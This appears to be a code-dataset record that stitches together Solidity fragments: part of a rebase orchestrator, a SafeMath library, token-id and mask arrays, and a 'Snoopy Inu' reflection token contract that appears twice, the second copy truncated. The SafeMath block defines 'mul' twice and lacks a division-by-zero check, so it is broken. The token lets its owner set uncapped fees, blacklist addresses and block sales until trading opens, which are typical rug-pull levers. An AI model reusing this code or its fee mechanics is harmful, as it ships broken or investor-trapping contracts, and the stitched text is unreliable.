returns(uint256) {
lastRebase = uint64(block.timestamp);
uint256 z = afgToken.rebase(epoch.add(1), calculateRebaseDelta(true));
popTransactionList();
return z;
}
/**
* @notice Configures the oracle & information passed to the oracle
* to calculate the rebase. See RebaseDelta for definition
* of params.
*
* Initially tokenPairX is the uniswap pair for AAU/WETH
* and tokenPairY is the uniswap pair for PAXG/WETH.
* These addresses can be verified on etherscan.io.
*/
function configureOracle(IUniswapV2Pair tokenPairX_,
bool flipX_,
uint8 decimalsX_,
IUniswapV2Pair tokenPairY_,
bool flipY_,
uint8 decimalsY_,
RebaseDelta oracle_)
external
onlyOwner
{
tokenPairX = tokenPairX_;
flipX = flipX_;
decimalsX = decimalsX_;
tokenPairY = tokenPairY_;
flipY = flipY_;
decimalsY = decimalsY_;
oracle = oracle_;
}
/**
* @notice tries to calculate a rebase based on the configured oracle info.
*
* @param limited_ passing true will limit the rebase based on the 5% rule.
*/
function calculateRebaseDelta(bool limited_)
public
view
returns (int256)
{
require (afgToken != UFragments(0));
require (oracle != RebaseDelta(0));
require (tokenPairX != IUniswapV2Pair(0));
require (tokenPairY != IUniswapV2Pair(0));
require (decimalsX != uint8(0));
require (decimalsY != uint8(0));
uint256 supply = afgToken.totalSupply();
int256 delta = - oracle.calculate(
tokenPairX,
flipX,
decimalsX,
supply,
tokenPairY,
flipY,
decimalsY);
if (!limited_) {
// Unlimited (brutal) rebase.
return delta;
}
if (delta == int256(0))
{
// no rebase needed!
return int256(0);
}
/** 5% rules:
* (1) If the price is in the +-5% range do not rebase at all. This
* allows the market to fix the price to within a 10% range.
* (2) If the price is within +-10% range then only rebase by 1%.
* (3) If the price is more then +-10% then the change shall be half the
* delta. i.e. if the price diff is -28% then the change will be -14%.
*/
int256 supply5p = int256(supply.div(uint256(20))); // 5% == 5/100 == 1/20
if (delta < int256(0)) {
if (-delta < supply5p) {
return int256(0); // no rebase: 5% rule (1)
}
if (-delta < supply5p.mul(int256(2))) {
return (-supply5p).div(int256(5)); // -1% rebase
}
} else {
if (delta < supply5p) {
return int256(0); // no rebase: 5% rule (1)
}
if (delta < supply5p.mul(int256(2))) {
return supply5p.div(int256(5)); // +1% rebase
}
}
return (delta.div(2)); // half delta rebase
}
// for testing purposes only!
// winds back time a day at a time.
function windbacktime()
public
onlyOwner {
require (lastRebase > 1 days);
lastRebase-= 1 days;
}
//===TRANSACTION FUNCTIONALITY (mostly identical to original Ampleforth implementation)
/* generates callbacks after a rebase */
function popTransactionList()
private
{
// we are getting an AAU price feed from this uniswap pair, thus when the rebase occurs
// we need to ask it to rebase the AAU tokens in the pair. We always know this needs
// to be done, so no use making a transcation for it.
if (tokenPairX != IUniswapV2Pair(0)) {
tokenPairX.sync();
}
// iterate thru other interested parties and generate a call to update their
// contracts.
for (uint i = 0; i < transactions.length; i++) {
Transaction storage t = transactions[i];
if (t.enabled) {
bool result =
externalCall(t.destination, t.data);
if (!result) {
emit TransactionFailed(t.destination, i, t.data);
revert("Transaction Failed");
}
}
}
}
/**
* @notice Adds a transaction that gets called for a downstream receiver of rebases
* @param destination Address of contract destination
* @param data Transaction data payload
*/
function addTransaction(address destination, bytes data)
external
onlyOwner
{
transactions.push(Transaction({
enabled: true,
destination: destination,
data: data
}));
}
/**
* @param index Index of transaction to remove.
* Transaction ordering may have changed since adding.
*/
function removeTransaction(uint index)
external
onlyOwner
{
require(index < transactions.length, "index out of bounds");
if (index < transactions.length - 1) {
transactions[index] = transactions[transactions.length - 1];
}
transactions.length--;
}
/**
* @param index Index of transaction. Transaction ordering may have changed since adding.
* @param enabled True for enabled, false for disabled.
*/
function setTransactionEnabled(uint index, bool enabled)
external
onlyOwner
{
require(index < transactions.length, "index must be in range of stored tx list");
transactions[index].enabled = enabled;
}
/**
* @return Number of transactions, both enabled and disabled, in transactions list.
*/
function transactionsSize()
external
view
returns (uint256)
{
return transactions.length;
}
/**
* @dev wrapper to call the encoded transactions on downstream consumers.
* @param destination Address of destination contract.
* @param data The encoded data payload.
* @return True on success
*/
function externalCall(address destination, bytes data)
internal
returns (bool)
{
bool result;
assembly { // solhint-disable-line no-inline-assembly
// "Allocate" memory for output
// (0x40 is where "free memory" pointer is stored by convention)
let outputAddress := mload(0x40)
// First 32 bytes are the padded length of data, so exclude that
let dataAddress := add(data, 32)
result := call(
// 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB)
// + callValueTransferGas (9000) + callNewAccountGas
// (25000, in case the destination address does not exist and needs creating)
sub(gas, 34710),
destination,
0, // transfer value in wei
dataAddress,
mload(data), // Size of the input, in bytes. Stored in position 0 of the array.
outputAddress,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
} | * @title SafeMath @dev Math operations with safety checks that revert on error/ | library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 131,706 | [
1,
9890,
10477,
225,
2361,
5295,
598,
24179,
4271,
716,
15226,
603,
555,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
69,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
2583,
12,
71,
342,
279,
422,
324,
1769,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
309,
261,
69,
422,
374,
13,
288,
203,
1377,
327,
374,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
2583,
12,
71,
342,
279,
422,
324,
1769,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
276,
273,
279,
342,
324,
31,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2583,
12,
70,
1648,
279,
1769,
203,
565,
2254,
5034,
276,
273,
279,
300,
324,
31,
203,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Snoopyinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Snoopy Inu";
string private constant _symbol = "Snoopy";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x9fc0a559f98f96Bc3F915FE99EA7d02D06D45f07);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 750000000000 * 10**9; //0.75
uint256 public _maxWalletSize = 1500000000000 * 10**9; //1.5
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x00000000003b3cc22aF3aE1EAc0440BcEe416B40)] = true;
bots[address(0xD8E83d3d1a91dFefafd8b854511c44685a20fa3D)] = true;
bots[address(0xbcC7f6355bc08f6b7d3a41322CE4627118314763)] = true;
bots[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
bots[address(0x000000000035B5e5ad9019092C665357240f594e)] = true;
bots[address(0x1315c6C26123383a2Eb369a53Fb72C4B9f227EeC)] = true;
bots[address(0xD8E83d3d1a91dFefafd8b854511c44685a20fa3D)] = true;
bots[address(0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C)] = true;
bots[address(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA)] = true;
bots[address(0x42c1b5e32d625b6C618A02ae15189035e0a92FE7)] = true;
bots[address(0xA94E56EFc384088717bb6edCccEc289A72Ec2381)] = true;
bots[address(0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31)] = true;
bots[address(0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27)] = true;
bots[address(0xEE2A9147ffC94A73f6b945A6DB532f8466B78830)] = true;
bots[address(0xdE2a6d80989C3992e11B155430c3F59792FF8Bb7)] = true;
bots[address(0x1e62A12D4981e428D3F4F28DF261fdCB2CE743Da)] = true;
bots[address(0x5136a9A5D077aE4247C7706b577F77153C32A01C)] = true;
bots[address(0x0E388888309d64e97F97a4740EC9Ed3DADCA71be)] = true;
bots[address(0x255D9BA73a51e02d26a5ab90d534DB8a80974a12)] = true;
bots[address(0xA682A66Ea044Aa1DC3EE315f6C36414F73054b47)] = true;
bots[address(0x80e09203480A49f3Cf30a4714246f7af622ba470)] = true;
bots[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true;
bots[address(0x3066Cc1523dE539D36f94597e233719727599693)] = true;
bots[address(0x201044fa39866E6dD3552D922CDa815899F63f20)] = true;
bots[address(0x6F3aC41265916DD06165b750D88AB93baF1a11F8)] = true;
bots[address(0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6)] = true;
bots[address(0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418)] = true;
bots[address(0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40)] = true;
bots[address(0x7e2b3808cFD46fF740fBd35C584D67292A407b95)] = true;
bots[address(0xe89C7309595E3e720D8B316F065ecB2730e34757)] = true;
bots[address(0x725AD056625326B490B128E02759007BA5E4eBF1)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | Buy FeeSell FeeOriginal Fee | contract Snoopyinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Snoopy Inu";
string private constant _symbol = "Snoopy";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x9fc0a559f98f96Bc3F915FE99EA7d02D06D45f07);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x00000000003b3cc22aF3aE1EAc0440BcEe416B40)] = true;
bots[address(0xD8E83d3d1a91dFefafd8b854511c44685a20fa3D)] = true;
bots[address(0xbcC7f6355bc08f6b7d3a41322CE4627118314763)] = true;
bots[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
bots[address(0x000000000035B5e5ad9019092C665357240f594e)] = true;
bots[address(0x1315c6C26123383a2Eb369a53Fb72C4B9f227EeC)] = true;
bots[address(0xD8E83d3d1a91dFefafd8b854511c44685a20fa3D)] = true;
bots[address(0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C)] = true;
bots[address(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA)] = true;
bots[address(0x42c1b5e32d625b6C618A02ae15189035e0a92FE7)] = true;
bots[address(0xA94E56EFc384088717bb6edCccEc289A72Ec2381)] = true;
bots[address(0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31)] = true;
bots[address(0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27)] = true;
bots[address(0xEE2A9147ffC94A73f6b945A6DB532f8466B78830)] = true;
bots[address(0xdE2a6d80989C3992e11B155430c3F59792FF8Bb7)] = true;
bots[address(0x1e62A12D4981e428D3F4F28DF261fdCB2CE743Da)] = true;
bots[address(0x5136a9A5D077aE4247C7706b577F77153C32A01C)] = true;
bots[address(0x0E388888309d64e97F97a4740EC9Ed3DADCA71be)] = true;
bots[address(0x255D9BA73a51e02d26a5ab90d534DB8a80974a12)] = true;
bots[address(0xA682A66Ea044Aa1DC3EE315f6C36414F73054b47)] = true;
bots[address(0x80e09203480A49f3Cf30a4714246f7af622ba470)] = true;
bots[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true;
bots[address(0x3066Cc1523dE539D36f94597e233719727599693)] = true;
bots[address(0x201044fa39866E6dD3552D922CDa815899F63f20)] = true;
bots[address(0x6F3aC41265916DD06165b750D88AB93baF1a11F8)] = true;
bots[address(0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6)] = true;
bots[address(0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418)] = true;
bots[address(0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40)] = true;
bots[address(0x7e2b3808cFD46fF740fBd35C584D67292A407b95)] = true;
bots[address(0xe89C7309595E3e720D8B316F065ecB2730e34757)] = true;
bots[address(0x725AD056625326B490B128E02759007BA5E4eBF1)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
